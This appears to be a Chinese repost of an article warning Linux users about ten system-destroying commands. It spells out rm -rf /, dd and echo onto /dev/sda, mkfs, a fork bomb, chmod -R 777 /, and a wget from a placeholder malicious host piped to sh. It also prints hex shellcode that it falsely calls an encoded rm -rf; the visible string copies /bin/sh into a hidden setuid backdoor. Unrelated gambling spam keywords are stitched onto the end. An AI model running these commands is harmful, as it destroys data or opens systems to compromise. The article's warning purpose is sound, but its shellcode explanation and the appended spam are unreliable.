那曲檬骨新材料有限公司

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

危險的Linux命令清單

lhl545545 ? 來源:良許Linux ? 作者:良許Linux ? 2022-09-26 09:16 ? 次閱讀

什么是最危險的 Linux 命令?

有人無數次問我這個問題,我一直避免回答,因為沒有一個明確的危險的 Linux 命令清單。

你擁有的工具使你能夠控制和修改你的操作系統的每一個方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。

想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。

這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長和經驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。

同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統。

當你積累了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。

我的同事 Sreenath 收集了一些流行的危險 Linux 命令。讓我們看看它們是如何干掉你的 Linux 系統的。

免責警告:如果你不清楚你在做什么,請勿嘗試本文提及的這些命令,否則后果自負。

1、rm -rf /*

這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經常發現巨魔們在各種討論中提及這個。

rm 命令用來刪除文件/目錄。標志-r和-f表示遞歸地刪除指定目錄內的所有文件。現在,如果沒有 root 權限,這個命令不會造成任何傷害。

運行sudo rm -rf / itsfoss.com命令也不會產生任何問題,因為大多數發行版提供了一個故障安全選項。你需要指定--no-preserve-root才能實際運行它。


sudo rm -rf / --no-preserve-root

然而,一個更簡單的版本可以是這樣的:


sudo rm -rf /*

它將開始遞歸地刪除根目錄下的所有文件,在一段時間后,你的系統會凍結,并顯示“刪除文件錯誤”。一旦重新啟動,你將被送到grub-rescue提示符下。

2、覆蓋你的分區

如果你熟悉文件系統,你可能知道/dev/sda是什么。它(通常)是你的磁盤驅動器分區。>操作符用于將其前面的命令的輸出寫到所提供的指定位置。

一旦你運行任何命令并把它寫到/dev/sda,比如說:


echo "Hello" > /dev/sda

這將用Hello字符串替換你的包含啟動系統所需的所有數據的分區。

3、把所有的東西都移到黑洞

每個 Linux 系統內都有一個黑洞。而這個黑洞就是/dev/null。

無論你把什么東西扔進這個區域都會永遠丟失。而且,它在丟棄數據后會將寫入過程報告為成功,這是其破壞性的主要原因。


mv /home/user/* /dev/null

mv 命令 linuxhandbook.com用來移動或重命名文件/目錄。在上面的命令中,你把家目錄內的所有文件都移到了黑洞中。雖然根系統沒有被破壞,但你所有的個人數據都會丟失。

4、格式化你的硬盤

mkfs linuxhandbook.com是一個命令行工具,用于格式化磁盤和分區。它是一個超級方便的工具,可以為安裝的操作系統創建分區。但同樣的命令也可以格式化你的硬盤。格式化你的驅動器意味著刪除系統啟動所需的所有文件。


mkfs.ext3 /dev/sda

這個命令完成了它的工作,而你最終得到了一個無法恢復的混亂的系統。

5、fork 炸彈

這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統資源來凍結一個正在運行的系統。


:(){ :|:& };:

&- Shell 后臺操作符。它通知 Shell 將命令放在后臺。在這里,它定義了一個叫做:的函數,它調用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復執行,直到系統凍結。

顧名思義,它自己分叉,最終成為一個連鎖炸彈,吃掉了所有的系統資源。你將被迫重啟系統,這并不像本列表中的其他命令那樣糟糕。

6、覆蓋重要的配置文件

雖然這本身不是一個命令,但它更像是一個預防性的東西。

如上所述,>操作符是用來向文件寫入的。它丟棄文件中已經存在的東西,并將提供的新數據寫入文件中。


command > config_filename

現在,如果你將一些重要的配置文件作為寫數據的地方,它將被取代內容,留下一個損壞的系統。

7、用垃圾數據替換分區

/dev/random是 Linux 中的一個命令,它可以創建垃圾數據。把它和dd 命令 linuxhandbook.com以及你的分區結合起來,你就得到了一個可以讓你的分區著火的燃燒彈。


dd if=/dev/random of=/dev/sda

dd 命令被用作一個低級別的復制工具。這里,它從/dev/random中獲取隨機數據,并用這些垃圾替換/dev/sda分區。

一個類似的效果是通過以下方式獲得的:


cat /dev/urandom > filename

這里,它從/dev/urandom(LCTT 譯注:在 Linux 上,/dev/urandom現在和/dev/random的等價的 )中獲取垃圾數據并填入一個文件。如果不使用Ctrl + C終止,該文件會占據相當大的空間,這對低端系統來說可能是災難性的。

8、將你的系統暴露給所有人

在 Linux 中,所有東西都是文件,每個文件都有一定的權限 linuxhandbook.com。

你可以用 ls -l 查看權限。根文件系統是不允許其他沒有權限的用戶訪問的。雖然這保證了系統的私密性和安全性,但你可以用一個命令顛覆這個系統。


chmod -R 777 /

上述命令將根分區上的所有文件暴露給所有人。這意味著每個使用該系統的人都有讀、寫和執行的權限。這對你的系統是不利的。

9、下載并運行惡意的內容

你如何在 Linux 中安裝軟件?你可以使用官方的軟件包管理器或隨時可以使用的軟件包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些軟件是沒有打包的,它們的開發者提供了下載和運行的 Shell 腳本。以Homebrew itsfoss.com為例:

你下載一個 Shell 文件,然后以 root 身份運行它,在你的系統中安裝一個軟件。你看出問題了嗎?

雖然它對 Homebrew 這樣的官方軟件有效,但在你像下面這樣直接運行它之前,你應該仔細檢查你所下載的 Shell 腳本的內容:


wget http://malicious_source -O- | sh

這樣的命令會在你的系統中下載并運行惡意腳本,這可能會破壞你的系統的安全性。

10、偽裝的命令

在 Linux 終端中,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令:


char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”

“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”

“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”

“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”

“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”

“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”

“x6ex2fx73x68x00x2dx63x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

雖然它看起來很花哨,但這是 rm -rf 命令的一個編碼版本。它的效果與運行前面的命令相同。因此,在從互聯網上復制和粘貼這些花哨的命令時,要小心謹慎。

總結

pebkac

有一個著名的計算機術語 PEBKAC:“問題存在于鍵盤和椅子之間(problem exists between keyboard and chair)”。

因為歸根結底,還是要靠用戶(你)來保證你不會因為盲目地運行任何危險的命令而破壞系統。

UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。

而這句話同樣適用于 Linux。你可以完全控制你的操作系統。你選擇做什么,完全取決于你。

我建議做這些事情以確保更安全的體驗。

?嘗試并理解你將要運行的命令。 ?用 Timeshift 保持你的系統設置的備份 ?用 DejaDup 保持個人數據(主目錄)的備份

正如我所說,沒有固定的危險 Linux 命令清單。還有很多可以添加到這個列表中,而且根本沒有盡頭。

我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應該做什么。如果你有建議,請在評論區告訴我。

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 驅動器
    +關注

    關注

    53

    文章

    8271

    瀏覽量

    147055
  • Linux
    +關注

    關注

    87

    文章

    11345

    瀏覽量

    210384
  • 電源線
    +關注

    關注

    1

    文章

    372

    瀏覽量

    21930

原文標題:10 大可以摧毀你的 Linux 的命令

文章出處:【微信號:良許Linux,微信公眾號:良許Linux】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    Linux命令和技巧

    Linux命令和技巧 1. mount umount 命令Linux里面想要使用你的軟盤和光盤可不是像在Windows里面那么的危險
    發表于 01-18 09:59 ?667次閱讀

    Linux與用戶有關的命令

    Linux與用戶有關的命令 Linux與用戶有關的命令  passwd命令  出于系統安全考慮,Lin
    發表于 01-18 12:46 ?782次閱讀

    Linux的常用網絡命令

    Linux的常用網絡命令 Linux 的常用網絡命令  計算機網絡的主要優點是能夠實現資源和信息的共享,并且用戶可以遠程訪問信息。Linux
    發表于 01-18 12:47 ?1193次閱讀

    Linux關機命令詳解

    Linux關機命令詳解 在linux下一些常用的關機/重啟命令有shutdown、halt、reboot、及init,它們都 可以達到重啟系統的目的,但每個
    發表于 01-18 12:52 ?3639次閱讀

    Linux系統命令指南

    在“Linux 文件命令精通指南”中,我們討論了利用最基礎和最常用 Linux 文件命令所需的基本信息。在本文中,我將對 Linux 系統
    發表于 05-23 10:23 ?970次閱讀

    Linux命令大全

    Linux命令大全
    發表于 10-30 09:49 ?9次下載
    <b class='flag-5'>Linux</b>的<b class='flag-5'>命令</b>大全

    Linux命令行可以隨便使用嗎?你了解Linux的10個危險命令嗎?

    Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什么時候。這篇文章將會向你介紹十條命令,但你最好不要嘗試著去使用。
    的頭像 發表于 09-24 19:43 ?3763次閱讀

    linux有哪些常用的命令

     Linux命令非常之多,分為內部命令和外部命令
    發表于 02-27 08:00 ?4次下載
    <b class='flag-5'>linux</b>有哪些常用的<b class='flag-5'>命令</b>

    分享一些流行危險Linux命令

    Linux你擁有的工具使你能夠控制和修改操作系統的每一個方面。但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。
    的頭像 發表于 12-14 17:26 ?1109次閱讀

    常用Linux命令介紹

    linux命令是對Linux系統進行管理的命令。對于Linux系統來說,無論是中央處理器、內存、磁盤驅動器、鍵盤、鼠標,還是用戶等都是文件,
    的頭像 發表于 02-09 14:31 ?1099次閱讀

    淺析Linux精致的命令

    這只是一小部分常用的Linux命令Linux有很多命令可以使用。建議通過man命令來查看命令
    的頭像 發表于 04-24 16:28 ?1586次閱讀

    什么是sudo rm -rf?為什么這個命令如此危險

    sudo rm -rf 是一個linux命令命令,用于在系統中刪除文件和目錄。sudo表示以管理員權限運行該命令
    的頭像 發表于 10-24 18:25 ?3328次閱讀

    shell命令linux命令一樣嗎

    Shell命令Linux命令并不完全一樣。 首先,Shell是一種命令行解釋器,它是用來解釋和執行用戶輸入的命令的。Shell既是一種
    的頭像 發表于 11-08 10:51 ?2979次閱讀

    linux重啟命令有哪些

    Linux是一種自由和開放源代碼的操作系統,被廣泛應用于服務器和嵌入式設備。在Linux中,有多種命令用于重啟系統。在本文中,我們將詳細介紹常用的Linux重啟
    的頭像 發表于 11-17 09:49 ?2117次閱讀

    Linux實用命令大全

    Linux實用命令大全
    的頭像 發表于 10-23 13:50 ?302次閱讀
    <b class='flag-5'>Linux</b>實用<b class='flag-5'>命令</b>大全
    在线百家乐官网赌场| 宝博百家乐娱乐城| 百家乐官网的路子怎么| 百家乐官网的注码技巧| 线上百家乐官网技巧| 宝博百家乐官网娱乐城| 钱隆百家乐官网软件| 杨氏百家乐官网必胜公式| 迪威百家乐官网娱乐网| 百家乐官网单机游戏下| 百家乐官网高手打| 三元玄空24山坐向开门| 百家乐好多假网站| 百家乐赌博策略论坛| 网络百家乐赚| 大发888网| 金沙国际娱乐| 东乌珠穆沁旗| 百家乐官网视频游戏网站| 百家乐官网筹码500| 百家乐官网娱乐平台开户| 网上赌百家乐正规吗| 百家乐十佳投庄闲法| 百家乐英皇娱乐场开户注册| 大发888有破解的没| 博e百娱乐城怎么样| 米易县| 赌博百家乐官网技术| 大赢家百家乐官网的玩法技巧和规则| 百家乐游戏官网| 自贡百家乐娱乐场开户注册| 大发888娱乐城真假| 威尼斯人娱乐城不打烊| 百家乐投注| 百家乐官网赌博机销售| 玩百家乐官网上高尔夫娱乐场| 广东百家乐桌布| 太阳城伞| 百家乐官网网址多少| 百家乐官网高| 百家乐平注法到65|